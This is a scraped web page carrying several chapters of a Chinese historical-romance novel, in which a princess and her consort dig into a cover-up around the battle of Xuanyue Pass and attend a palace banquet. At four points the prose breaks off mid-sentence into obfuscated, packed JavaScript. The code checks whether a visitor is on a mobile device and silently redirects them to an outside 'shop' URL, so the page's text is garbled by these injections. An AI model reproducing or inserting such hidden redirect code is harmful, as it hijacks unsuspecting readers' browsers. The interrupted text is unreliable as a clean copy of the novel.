她向各位手艺人表明情况，尽己所能发放遣散银，又撰写推荐信，鼓励他们向百听阁、百味坊、百卫所等商事楼阁和江湖场所自荐。 延国公府众人这才发现，这位常年不起眼、看起来畏畏缩缩的闺阁小姐，处理起府务来虽不纯熟，但算得上条理清晰、明事知礼。 死气沉沉的延国公府将要迎来严冬，而苏沁却在这样的季节里，感受到她的生命正在重新发芽。 她没有和任何人说过，自己三年前为何明知苏墨淳只想把她卖个好价，却能在断腿的他床前，哭出那句“兄长，我不想你去战场，你一去不回，我和母亲该怎么办”； 她没有和任何人说过，她作为唯一一个被允许进刑部探视苏墨淳的亲人，为何要与苏墨淳轻声说“一定是昭灵公主诬陷你的，对不对”； 她没有和母亲告密，即使她知道苏墨淳在外暗中差人拦路抢劫；她没有及时打断母亲在昭灵公主府的口出狂言，即使她明白母亲知道苏墨淳瘸腿的真相，定会悲愤交加、气急攻心。 再往前数数，啊，她还没有和任何人说过，母亲第一次对昭灵公主摆准婆婆的款，她为何不阻止，为何周围无人提前制止。而闹起来后，她没有碰昭灵公主就自行尖叫倒地，那昭灵公主又真的打了她吗？ 在某些深夜，苏沁，有时觉得自己真不是个好姑娘，什么温婉大方、贤良淑德都与她无关；有时觉得自己是真疯了，在这些小事上较真能有什么用；有时又担忧，放任苏墨淳和母亲做的那些蠢事，最后不会牵连到自己吧；有时孤独而绵长地痛苦着，问自己，这样的日子，到底还要持续多久呢？ 不过从此以后，苏沁觉得自己再也不会为这些痛苦了。 她现在是延国公府的实权家主，每日有处理不完的细务。 虽辛苦，但欣欣向荣。 要不给自己找个师傅吧，教什么的都行。苏沁坐在厅堂正中，放下笔，认真思考这件事。 “小姐可是乏了？需要奴家再讲个画本吗？”苏沁身旁的小厮摆着笑脸请示。 苏墨淳身边的人，苏沁现在就留下了这一位。 苏墨淳每次坐在那把花里胡哨的大椅子上醉生梦死时，都喜欢让这个小厮在旁边一个劲的夸他，夸他上天入地无所不能，脚踹将军，拳打首辅。 苏沁原本也想尝尝这种众星捧月的滋味。 但她很快发现，这名“小厮”其实是个姑娘。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732713|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而且声线相当多变，实在是个讲故事的好手，跟在苏墨淳身边只负责夸来夸去，真是屈才。 苏沁幼时总窥见母亲孙氏围着苏墨淳转。 现在，母亲缺席的那些睡前故事，自有人为她补上。 在她能选择被众星捧月的时候，是否真的被众星捧月，似乎没那样重要了。 她只想过一过和以往不一样的日子。 · 这几日难得平静。牧晓和苏墨清在府中清点旧人，并且构思，是否能如在地方时一般，报备后直接张榜贴文招募有志之士。 “当今，文武举仍是天下士人眼中的正道。现在也没有紧急情况，如果公主府在京公开招募，结果很可能不理想。”牧晓首先想到的形式，是在西南地方上施行过的公开招募策略。 “你在西南府中募人，大致以什么规制？是否要考虑京城府中和西南后续的融合问题？”苏墨清向她问了几个基础问题。 牧晓思索西南府中情况道：“我在京受封之初没有意识到，父皇放给我的权力实在远超一般意义上的公主。到西南后我发现，很多基础事务，并不需要我再去整顿。西南府中一直是我母亲派的心腹在管理运作，我母亲去世也没有改变这一情况。” “如果说，京中公主府主事的一直是露秋，我身边跟的是负责亲卫的芒夏，其实还有两位我母亲在牧府时就嘱意给我的——惊春和连冬。连冬主要在暗处，大约是平衡皇宫内派进公主府的人；惊春，与我母亲出嫁前的楚家关联最深，一直是西南的主事。” “西南府邸，在我本人前往西南前，大多方面是楚家旧人一手扶起来的。” “至于我当初招募人，实在谈不上规制二字。”牧晓托腮看着窗外的飞鸟，“纯属事态紧急，临时招募。后来部分奇人异士立了功，向朝廷一报，他们便顺理成章编入府中，各有身份。” “现在西南府中无比精简——能保证正常运转，但也只能保证正常运转。缺人时，要么朝中派，要么自行发告示招募。实在是应了那句缺哪补哪。” 窗外的飞鸟停在飞檐上，啄啄自己的羽毛。 牧晓还是盯着那只飞鸟，继续回答第二个问题：“至于京城和西南的融合问题，值得考虑，但现在似乎为时尚早。” 她收回盯着飞鸟的目光，转头看向苏墨清，笑眯眯一摊手：“你看我现在手里有什么？对，什么都没有。第一，京城，现在真的什么都没有。府中主要就是公主该有的东西。万一有什么奏折之类的，我要是没心情写，也就你能帮我写。” “第二，我仍在怀疑——皇兄，真的会放我们回西南么？” “要是西南风平浪静，我们有什么理由回去？要是西南风波再起，”牧晓的话语和笑容皆是一凝，“当然，我不愿意看到这个假设真实发生，想必你也是。” “如果非要假设这种情况，那么，我们真的能一起走吗？”牧晓继续怅然望向窗外。 檐上飞鸟已经不见。不知是真的飞走，还是眨眼的工夫就被人拿网捞走了。 苏墨清却捏了捏她的手道：“不一定。” 12.酥糖游戏 苏墨清敏锐地察觉到，牧晓现在遇事会先往悲观方向考虑。 在预设里被痛苦凌迟，若是痛苦真正降下，便不会过于猝不及防；但若是一切顺利，快乐也不再纯粹，而会异变为劫后余生。 “你教我的。”苏墨清牵起牧晓的手，走出门外，“我问你答。” “第一，最近你预想中的问题，真的都发生了吗？”苏墨清带着她，转了个方向。 “没有。”其实都没有，而且比她想得好太多了。牧晓跟着他转，现在视野里已没有了停过飞鸟的檐，“但是并不代表以后……” “第二，未发生之事，现在能否改变。”苏墨清放了块蜡纸单独包装的酥糖在她手心，“比如，你现在是否能拼起这块糖？” “它没碎我怎么拼……”没碎便不需要拼，也无法拼。牧晓试了试手中的糖，下意识答道。 “但酥糖本就易碎。若是它碎了，我不会拼怎么办？”她试图反驳。 “然后，怎么学会拼酥糖呢？把另一块拥有的糖弄碎，用来练习？为了拼得熟练，遇到一块就专门捣碎，继续练习？” 牧晓这次没有回答。她明白，酥糖可以买，练很多次都无妨。但她却无法在相同的情况下反复重置同一问题。 更何况，会碎的东西又何止酥糖。不同事物拼法各有不同，她怎么可能穷尽，又怎么能面面俱到呢？ “被你绕进去了。好吧，其实是绕出来了。现在感觉好多了。”牧晓不再纠结这个问题，很给面子地把糖吃了，抬头问他“哄小孩似的……我当初还教过怎么哄人？” 苏墨清拿走她手里的糖纸，笑道：“你从小就会哄人。只要是宴上有的小孩，你和谁相处不好过？” “也没有吧……哪那么好的人缘。”牧晓没好气地拍他一下，“怎么说起这个了。想翻旧帐么？翻旧帐我奉陪。” 牧晓摆出拿出一副推理案件的架势，故意问他：：“这么确定我和谁都相处得好，过去在宴会上，是不是光偷偷看我了？还是到现在都在为我过去不止哄了你，还会哄别人而耿耿于怀？用来哄别人的和哄你的招式，到头来不还是被你用在我身上了？你亏吗？” “不亏，一点也不亏。”苏墨清还是没变那带笑哄人的语气，知道牧晓从来吃软不吃硬，“最后一步了。环顾四周景物，你看到了什么？” 周围有什么？ 现在是她一天中最喜欢的时分，傍晚。 儿时喜欢傍晚，因为父兄会归家，因为母亲终于有时间理她，因为被书塾或校武场禁锢的伙伴会翻墙来找她。 因为晚霞醉人。对她来说有人陪着一起看的晚霞更是如此。 她好像过说，看太阳落山是很有意思的事。她看太阳落山时，任何烦恼都会被抛向渐暗的长空。因为她认为，太阳落了，烦恼就该也落山；等第二天太阳再次升起，会真正的迎来崭新一天。太阳落了烦恼不落，第二日也不会崭新。 当时闲扯的这些童言童语，早就被大人笑过，然后散在风里。 现在告诉牧晓，还有人记得自己当年说过的这些话，她一时说不清自己到底是什么感受。 用她自己过去的话，提醒她自己吗？ 要不还是不让他得逞了。牧晓有几分赌气地想。 因此，她不再顺着对方的话，而是挑衅地笑起来：“周围哪有什么东西。只有你。” 她示意苏墨清略微倾身，在他没反应过来时，飞速亲了他一下，然后自己退后几步，笑嘻嘻说：“算你哄我的奖励。” 苏墨清无奈地摇摇头。 这样一逗对方，牧晓的心情彻底转晴，思路也顺了不少。 有心情想正事，她换回了议事的说话方式，梳理自己现在的想法：“关于招募人才这件事，在京中先以女子为主吧。京中定有不少被埋没的有志女子，正缺一场机遇。公主府招女官，阻力也会小很多。” “至于我们刚才提到的西南问题，理好后一件一件来吧。急不得。” 苏墨清的思路也被她带回正轨：“理顺确实需要一些工夫，向朝中报备也得揣度。朝中现在到底是什么态度，很难言明。” 深秋的风中，气爽高远与浸骨之寒从来此消彼长。日落后，浸骨之寒的厚度渐增，试图淹没秋夜中人。 记起朝中，牧晓话锋一转，低声道：“现在京郊截杀的事告一段落，段御史，是真要空出手来了。玄岳关之战，你能凑出来的‘真相’，准备好了么？我们可无法如钱谦那般，临场翻供。” “自然。不过，站在我的角度，玄岳关之战与京中官方版本确实有所不同。”苏墨清神色微凝答道。 他们回到已点灯的屋中。苏墨清从书架上抽出两卷卷轴推开。 一卷轴上赫然是一幅京城至玄岳关的手绘地形图。地形图上边缘部分颇为潦草，但核心一线周围十分细致——驿站、山谷、树林、跨河桥、渡口，还有暗路暗道等等。 另一卷上，赫然是当年玄岳关内外的地形图和部族势力划分。 玄岳关之战得名，是因为决战发生在大小玄岳关之间。 苏墨清对照卷轴简单介绍：“小玄岳关在北，与我大周领土相接，主要依靠天险建关，易守难攻；大玄岳关在南，为西南参照大周各关隘所建的，类似于城池。” “当年草都蛮是西南势力最大的蛮族，占据大小玄岳关，令环绕其四周的另外四个蛮部俯首帖耳。我们根据这四个蛮部与草都蛮相对的地理方位，分别称它们为左上、左下部和右上、右下部。它们往往充当草都蛮的援军与耳目角色。” “而草都蛮本身包含四寨，分别居于主城和三个侧峰。一寨与小玄岳关是共存亡的关系，而主寨占据大玄岳关建城。二寨和三寨负责拱卫主寨。” “不同于我大周城池，草都蛮的三副寨并非密不可分，而是各有寨主、自担利害；四个附属蛮部更是各怀鬼胎。但遇到危难，往往自动联合团结，寻求共生。” 这些有关当年的战事背景，牧晓并未仔细听人拆解过。她到西南时，对手已不再是草都蛮。草都蛮昔日的领地已是大周国土，大玄岳关对现在的西南境况而言，远不如占尽天险优势的小玄岳关重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740252|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要。 这卷轴上绝大部分土地，在玄岳关之战前，大周百姓完全无法踏足；而今，很多土地已被开垦成梯田或移栽上果树。 今夕对比，令人感慨万千。 “我看京内传报时，发现一个是在难以忽视的问题——我和我所带领那支精锐部队的阵亡时间，并不正确。战报和朝中通传，我们亡于18日。而事实并非如此。我们全军覆没于21至22日间。”苏墨清缓缓道。 牧晓袖中手攥紧。决战期间的3-4日，错的何止是时间。士卒的军功、荣光、身后亲属待遇，都可能大不相同。朝廷认可了18日这个时间，便代表18日后，再无援军被派遣支援这只孤军。 “而实际上，我在19日至20日间，还与段弈钧带领的那支一同，配合剿灭了左上部试图前往主寨的援军。段弈钧那支军队的战报阵亡日期为22日。京城风闻中，我与他一同断后的流言，更似无稽之谈，且与我们两队人马战报上的阵亡日期矛盾。”苏墨清面色更加凝重。 京中战报与他现场亲身经历相去甚远。 为何朝廷认可了这份并不真实的战报？ 牧晓询问：“玄岳关之战的总体作战方略，是谁制定？” “是延国公。也就是我的父亲。为了保密，知道总作战方略的将领只有几位。实不相瞒，我在这几年间，曾反复思考他为何要送我进这必死之局，却连句道别都未曾有过。直到我得知他不久后亦身死。”苏墨清看着桌上的地形图，神色有几分晦暗。 苏老将军下达的指令是：率队进入小玄岳关，尽力往西吸引一寨追击，拖延时间，为另一队人马的行动提供机会。 苏老将军亲子，兵马跟随不多，本身相当有名望，是战场上不可多得的好靶子。 深入敌后还要在大小玄岳关之间来回周旋，实在不易。 他们最终没有等来援兵，而是迎面撞上本该由自身主力部队抗衡歼灭的敌军主力，甚至还有一波又一波敌军援兵。 而玄岳关之战，明明是大捷。主力部队按照规划，环环相扣执行，打得一路顺风顺水，伤亡轻微。 最后只有他和段弈钧的同袍，两支数量不多的精锐埋骨于玄岳关。 牧晓沉默半晌后道：“若有当年将领在京，能寻到也好。当年完整的战事规划布局，究竟是怎样。” 苏墨清抬头看向她道：“这就是我去寻闻玄机的缘由。据他所言，有人走投无路，把一份不知真假的玄岳关布局信息卖给了他。或许可以作为参照。” 相当荒谬。朝廷机密竟然卖于江湖人士，这听起来就不可思议。 “其实不奇怪。”牧晓依旧看着西南地形图出神，随口答道“在许多人眼中，卖与百听阁阁主，和卖与我无甚区别。西南百听阁势力更强，就是我府中扶起来的。” 苏墨清闻声一滞。 “问题在于，那人到底是真的走投无路，还是故意往我们手中递信息？那信息到底是真，是假。”牧晓叹息，“信息是关于段弈钧那支的吧。” “看来，一定得见见段御史了。” 13.空白两日 牧晓和苏墨清思考过与段御史秘密相谈，但最后方案都被推翻。 无论是在百听阁相聚，还是暗中前往对方府中，万一被有心之人察觉，都可大做文章，得不偿失。 牧晓最终决定采用姚姨找孙氏麻烦的法子。 姚千宁当时搜了张孙氏给她打的陈年欠条，直接大张旗鼓上门。 而牧晓，将段三公子段弈哲路遇她驸马后，拔剑伤人的事宣扬出去，直截了当且气势汹汹前往段府，表明上看，大有要踏平段府的气势。 “段御史，前段时间您正参与京郊之事的会审，我不便上门。现在京郊之事已了，我上门就是为讨个说法。”段府中，茶杯放到桌上发出一声闷响，牧晓面色冰冷，开门见山直接道，“烦请段三公子来见。” 段御史不疾不徐道：“是该给殿下个说法。早已通知犬子前来。家丑不可外扬，我们可否关起门来一叙？给臣和犬子留几分薄面。” 牧晓与段御史眼神交锋瞬间，都已明白对方的意思。 牧晓维持原姿态，没有过多表示，答道：“那就依段御史的意思，免得外人说我仗势欺压老臣，寒了老臣们的心。” 段弈哲被扔进门内后，段府侍从与公主府侍从皆退向门外。 门在吱呀声中合上，隔绝门外的日光与众人各异的神色。 段弈哲踉跄几步，见行礼后无人理会他，直接“咚”的一声面对苏墨清单膝跪地，双手举起一把剑，诚恳道：“苏小将军，实在抱歉。当日是我一时糊涂，不明事理。现已知错，求苏小将军还我一剑，给我个痛快。” “段三公子不必为此挂怀。我流落山野消息不通，本不知三年前段将军的噩耗。在百听阁骤闻，也是心神剧震，一时失神，并非段三公子之过。我与你长兄多年同袍，情同手足。段三公子这般，已是见外。”苏墨清一把扶起段弈哲，带他到身旁之位上坐下。 段御史见自己小儿在对面坐下，斜了苏墨清一眼，又轻轻摆头，示意段弈哲来自己身边坐。 段弈哲以为父亲在肯定自己做得对，眼神澄澈，向父亲点点头，丝毫没有要坐过去的意思。 段御史面无表情转回视线，不再看自己的犬子，而是沉声对牧晓道：“昭灵公主可否告知，此行前来，到底所谓何事？若真要责罚犬子，殿下可将其领会府中慢慢责罚，或者就在此处，任殿下打骂。我绝不插手。” 牧晓并不喜欢和朝中的老狐狸口头交锋。双方都心知肚明的事，车轱辘话还要推几个回合，最后不解决任何问题，纯粹浪费时间和耐心。 她无视后几个假设，直接针对第一个问题：“想必段御史也在试图理清当年玄岳关的真相。” 段御史并不顺着她的话，而是缓缓道：“这么说，昭灵公主在查玄岳关的事。苏小将军就在昭灵公主身旁，当年之事岂不是一问便知？” “玄岳关大捷是家父心血。家父与我的关系，可不似段御史和段三公子之间这样融洽。”苏墨清的眼神在段御史和段弈哲二人间稍转几圈，顺理成章接话。 牧晓紧接着，截断段御史开口继续原地绕圈的意图：“而且，段御史要是真的认为问苏小将军就能问出真相，又何必默许段三公子前往百听阁？直接在朝中上书，不论是提出重查玄岳关之战，还是传苏小将军上殿讲述，都能获得所谓真相。我们在殿上还能造假不成？” “段御史，我们做个交换。您帮我们剔除百听阁那份消息中确认不真实的部分，您可以随意问我们手中任意一份信息。如何？”牧晓指尖轻叩木质座椅扶手问道。 段御史深觉，年纪太轻果真心急，几个圈子都绕不得，目的直接摆上明面，大有不答应就会直接起身离去的意思。 但他又觉得新奇。这份不用兜转的直截了当，在朝堂之上实属罕见，让他这个年过半百之人亦能忆起几分风华正茂的年少时期。 怪不得姚老头再怎样看不顺他们的某些作法，却还是会为不忍拒绝两人的请求而叹息。段御史心中升起这副感慨。 段御史面上不显，语气有所松动：“昭灵公主能提供什么信息？” 牧晓轻叩座椅扶手的手一顿。这就意味着答应了，且没有具体信息要求。 她掏出一本册子，放在手边的桌上往前一推：“我送御史功劳一件。西南边防中，现正三品都指挥佥事邢承远——也就是玄岳关之战中，因率兵突袭草都蛮一寨一战成名，后快速晋升的那位邢将军——在西南收受贿赂、贪赃枉法、强占民田。人证已在公主府的秘密护送下安全到京。现在，人证物证俱全，就差御史您的挺身而出了。” 段御史表情有了些许细微的变化，意味不明道：“昭灵公主这是想借臣之手，铲除异己？” “并非。邢将军在西南多次暗示，可助我一臂之力，对公主府向来示好优待，从未结仇结怨。我只是看不惯罢了。”牧晓毫无愧色直视段御史，轻巧道，“所有证据均真实可查。段御史可要收下？” 段御史思索片刻后道：“殿下若按流程递送，都察院自会查证。” “好。”牧晓接下这个约定，“现在，该段御史了。” 段御史也不再兜圈子，开口道：“百听阁那份有关玄岳关战事的信息，臣认为应来源于主力部队中的低阶将领。大致属实。其中所记关于小段将军，也就是吾儿弈钧的内容，能与战报相佐证。” “小段将军在18日至19日间，受军令在小玄岳关前佯装败退向北，实则是向西行，绕到澜西河渡口，阻截草都蛮左上部援军。成功阻截后，继续南下，应与主力派出的援军汇合后，再行阻截左下部援军。” “这个计划十分顺利，成功阻截左上部援军的时间比预计短太多。小段将军也依照计划继续南下。战报对于小段将军这支队伍的记录止步于此。再提及，便是小段将军死于草都蛮左下部援军与草都蛮主力军的夹击之下。” 牧晓注意到，或许是为减少个人情绪影响，段御史讲述时用的称呼是“小段将军”，而非更亲近的称呼。 段御史垂下眼，仔细梳理脑中内容：“百听阁那份信息筛出不实部分后，与战报不同的地方在于——展示了主力军队的异常。主力军在19日已对草都蛮主寨取得压倒性优势，在20日甚至用巧计倒逼其出了大玄岳关。为什么主力在20日和21日这至关重要的两天，没有派军乘胜追击？“ 不论玄岳关大捷的战报怎样圆，用了多少理由圆，这两日的空白都无法被掩盖。 不过，试图揪住这两日不放的，只有与那两支全军覆没的队伍有关的人。 被牺牲的两支精锐部队，因人数实在不多，被认定在合理范围内，被尊为忠烈。 但这两支队伍，真的有必要如此惨烈殉国么？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740253|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 三年前的昭灵公主府与段家查不清战场细节。他们当年皆无力撼动那个已不可挽回的局面。 举国振奋，朝野欢腾，同贺苏老将军和西南边防军。 即使后续的哀伤，也是因主战玄岳关的苏老将军在回京路上离世。 玄岳关之战是实实在在的大捷。空白的两日完全没有动摇这个耀眼的战果。 那样昂扬的氛围，对段家、姚家、昭灵公主府和两支精锐的其他亲朋来说，就似一层雾。 他们站在无边浓雾里，意识到自己的渺小。 心在雾中不断下坠，直至于谷底摔得粉碎。 段御史沉重地抬眼，看向坐在对面的苏墨清：“苏小将军，段家从来清楚风言风语不实，弈钧之死与你无关。只是未曾向犬子弈哲解释。实在抱歉。” “不，风言风语未必空穴来风。”苏墨清在段御史的讲述中想通一件事，“与战报中不同，我那支队伍并未亡于18日。19日至20日间，澜西河渡口，协助段将军阻截草都蛮左上部并缩短战局时间的，正是我带领的那支。” 京中流言“苏小将军强留下段弈钧一同断后”这句话中，并非全是假话。 但遵军令佯装败退断后的，是段将军。 两支队伍最后一面见的，也确实是对方。 段御史听后，语气更加沉重：“这么看来，两支队伍是早就被放弃了。” 但战报中，为何不直接写明，这是为胜利做出的必要牺牲？ 流言到底是谁起？为何能真假掺半？ 居中指挥调度的苏老将军，在那空白两日中，究竟在犹豫什么？ 牧晓拿指节扣了下桌面上那本册子，打破冰封的沉默：“邢承远邢将军，当年战局规划为数不多的知晓者之一。战报所呈现内容，也多半出自他口。此人在西南如泥鳅般难捉，我几次询问玄岳关之事，都被他半真半假搪塞。” 三人的目光，聚焦于那本可能成为破局关键的册子。 只有段弈哲，此时已在座椅中神游天外。 兄长的事另有隐情？这些是我能听的吗？朝中机密听多了不会被灭口吧？ 哦，我父亲还在这里，应该不至于灭我的口。他们真的意识到我还在吗？ 段弈哲手忙脚乱试图起身，但被自己左脚绊右脚，一个趔趄差点把自己拍到地上。 屋内另外三人的目光刹那间聚焦于他。 段弈哲感受到被架上火堆的炽热，头皮发麻。 “哟，段三公子已经迫不及待，为这场不能外传的谈话，贡献绵薄之力了么？”牧晓调侃道。 段弈哲瞪大眼睛，不明白自己能贡献什么。 段御史再次为自己的犬子叹气，起身大步向段弈哲走去，一把拿起桌上的剑。 在段弈哲惊恐的目光里，段御史拔出剑扔在地上，手持剑鞘开始抽自己的犬子，一路抽出门。 “让你道歉，你还拔出剑来。知不知错？”段御史在后追。 “嗷！知……嗷！”段弈哲在前逃。 “还持剑坐人家旁边威胁。我怎会有你这样的逆子。下次还敢？”段御史剑鞘挥出虚影。 “嗷！不，不……嗷！”段弈哲插翅难逃。 “家门不幸，家门不幸！”段御史感叹。 “嗷！”段弈哲现在觉得，确实不幸。 14.暖炉投壶 牧晓与段家的事并未在京中掀起多大涟漪。毕竟两方在明面上相斗已久，更针锋相对的事件常有。段三公子伤了人，以昭灵公主的脾气，上门讨个说法再正常不过了。 余皇后倒是似有过问此事的意思，但没有直言，只是办了个暖炉宴，邀昭灵公主和宗室女眷一同入坤宁宫小叙。 牧晓今日独自进宫赴宴，苏墨清去往尘寺见邢承远一案的人证，暗中协助都察院理清证据。 从先帝成功举旗立业，到现今文昌帝主政，不过十几载。先帝子女大多在文昌帝登基的前几年间以各种缘由被囚被屠，文昌帝子女又不多，现今只有皇后所出的一儿一女，且都未成年。是以，能有资格入宫的宗室女眷甚少。 暖炉宴上除了余皇后和牧晓，还有余皇后8岁的女儿牧崇仪，崔太妃，算作牧晓堂姐的牧晗，以及牧晗和刑部清吏司陶郎中的女儿陶云娴。 牧晗是先帝兄长的女儿，在先帝登基前早已出嫁。她平日行事低调，名声不显，嫁的也并非高官，远离京城风暴中心，生活平静闲适。除了特殊场合，几乎无人记起她是位宗亲，包括她自己。她从不以“牧”姓压人，也不以自己是当朝皇帝的堂姐自傲，在京都女眷中颇有清名。 牧晓对这样的小宴并不抗拒，甚至乐于前往。 余皇后举办的暖炉宴，除了在入席前流程遵照规章、较为繁琐，在入席后就随意很多，不兴京中贵女宴会上附庸风雅、吟诗作赋那一套，更没有什么勾心斗角。 而且，坤宁宫中的膳食味道相当有特色，铜火锅、炖盅、烤红薯、枣泥酥等主菜点心，皆有宫外无法复刻的美味。 “诸位不必拘礼，就当在自家院里一般，今日一同说说话、道道家常就好。”余皇后的寒暄至语几年过去都不太变动，一直都是这么几句。 简单开宴后，她首先略微侧向牧晓，笑问：“今年昭灵公主回京，府上可一切安好？” 牧晓简单一礼，笑答：“臣妹府上众人皆安。外界所传些许摩擦多不为实，有劳娘娘挂念了。” 说是“只论家常”，到底还是在好奇京郊截杀之事以及公主府与段家的摩擦。只不过暖炉宴上众人在场，不可谈朝中之事，根本无法细说。 在座的只有牧晗，因夫君陶郎中主持了有关京郊截杀的刑部公堂会审而对近日公主府之事略有耳闻，神色微动，其余人只当余皇后是随口一问。 “这道栗子桂圆炖排骨味道十分不错。臣妹可得替诸位向娘娘讨个方子，回头在府上细细研究。”牧晓把话题一移，在座诸位皆随声，气氛破开不少。 崔太妃和牧晗在暖炉宴上从不多言，只是一味微笑点头及附和。 陶云娴最近和母亲牧晗闹了几场。现在有母亲在的场合，她都不想开口说话，只能依照礼节僵硬顺从。 年纪尚小的牧崇仪，虽然三年未见牧晓，但仍记得这位入宫后敢带她玩闹的小姑姑，兴奋地想直接开口，但被身后的乳母制止。 但牧崇仪并未放弃，转转眼珠，先问余皇后：“母后，儿臣能问昭灵小姑姑几个问题吗？” 余长欣平时并不怎么喜欢拘着崇仪，对崇仪能趁着年纪尚小、把暖炉宴气氛弄得活跃些给予厚望。她鼓励女儿道：“自然可以。都说了不必拘礼。” 牧崇仪开心地绕过自己的小圈椅，转向牧晓：“昭灵小姑姑，真的好久不见。听说你去西南玩啦。” 余长欣听到崇仪提到西南，笑容顿了一下。 牧晓倒是没想那么多，只是觉得崇仪小团子很可爱，也不再拘礼，而是笑容弯弯，用崇仪的语气回她：“对啊对啊，昭灵小姑姑就是去西南玩啦。江上划小竹筏可有趣啦，林间还有金线狨(猴)荡来荡去。蜀锦仙人能当场织出崇仪喜欢捉的小蝶，许多寨中的阿婆还会教来客板凳舞呢。” 牧崇仪眼睛直发亮：“昭灵小姑姑为什么不带崇仪一起呀。崇仪也想看。下次带崇仪一起，好不好？” “因为西南太远啦，要是把崇仪带走，崇仪的父皇和母后都会担心崇仪的。崇仪能舍得让自己的父皇母后伤心吗？”牧晓给崇仪做出遗憾且爱莫能助的沮丧表情。 “崇仪舍不得父皇和母后。”牧崇仪鼓鼓腮帮子，还不忘对牧晓撒个娇，“也舍不得昭灵小姑姑。” 余长欣示意崇仪的乳母不必管束崇仪，看到牧晓完全没有介意，松下一口气。 牧崇仪又有个点子：“昭灵小姑姑，你说等崇仪长大了，父皇和母后是不是就不回担心啦？” 牧晓在心中叹息。她刚才就没有用儿时大人搪塞她的那句“长大了就知道了”“长大了就可以了”，没想到崇仪自己提起来了。 但她依旧笑着回答崇仪：“长大了，说不定崇仪就完全不想走啦。崇仪说，有没有这种可能？西南可没有这么好吃的糖栗子和桂花糕哦。这些可都是在崇仪的父皇和母后身边才能吃到。昭灵小姑姑刚才还想继续向崇仪的母后要方子呢。” 牧崇仪看看自己桌上的小点心，好像是有点不舍。母后说，遇事不决可以多向身边人询问。她决定征询一下在场众人的意见。 牧崇仪觉得崔太妃和牧晗大姑姑肯定不喜欢吃糖糕。所以她想询问陶云娴，为什么没选择离开父母身边，但还没完全转过身去，就被牧晓一句话吸引了注意力。 “崇仪，要是既不想离开父皇母后，也想了解西南故事的话，昭灵小姑姑可以讲给崇仪听呀？不是说也舍不得昭灵小姑姑吗？”虽然和陶云娴并不熟识，但牧晓察觉她的情绪不太对且显然在出神，担心崇仪问出什么陶云娴无法回答的问题，适时截住了崇仪。 牧崇仪果然放弃了询问陶云娴，而是两眼放光求自己的母后：“母后，可以让昭灵小姑姑经常来给崇仪讲故事吗？”崇仪一直知道，只要父皇和母后答应，天下就没有办不成的事。一时激动，连“儿臣”也忘记自称了。 余长欣知道崇仪在求什么，但没有直接答，而是和崇仪耐心解释：“崇仪刚才也听到了，崇仪的昭灵小姑姑府中有很多事需要处理。况且，故事并非无穷尽，一时心急听完了所有，那日后的暖炉宴就没故事可听了。” 牧崇仪因为母后没直接答应自己而有点失望。 余长欣看看失落的崇仪，又扫了一眼台下坐着的几人。 牧晓还在笑着看崇仪，没有因为余皇后的话有什么改变；崔太妃一脸慈和，对小辈之间的笑语不当真；郎中夫人牧晗面上笑但不达眼底，不知是因事不关己，还是因近日和女儿的矛盾；陶云娴无视母亲的多次警告，还在自顾自出神。 “崇仪，不是一直想学投壶么？今日昭灵公主在，可否教教崇仪？”余长欣对牧崇仪和牧晓道。 牧晓欣然同意。投壶，她小时候没少玩，最是擅长。暖炉宴上无歌舞，余皇后又不喜诗词歌赋，光闲聊不免枯燥。有年纪小的皇女在场，投壶也算惯例。 牧崇仪果然立马振奋起来。 旁边侍从静静搬上刻有暖炉纹和梅枝的小型铜壶，将箭尖打磨圆滑的木质短箭备在一旁。 余皇后负责分发奖励，崔太妃与牧晗负责在一旁喝彩。 牧晓虽然和牧晗一辈，但年纪和陶云娴倒是相差不大。 儿时还在牧府，牧晓学投壶为打发时间，也为在京城贵女的宴会上能趾高气昂又云淡风轻地赢到彩头。刚开始学，总是一箭中，一箭不中，她还会把自己气得瘫在草地上不起来。旁边的芒夏她们看到了，就会上前给她支各种小窍门；她母亲楚岚骁看到了，会直接要求和她比试。比试多了，自然有赢的时候。 牧晓回忆自己第一次学投壶时的样子，先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748945|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 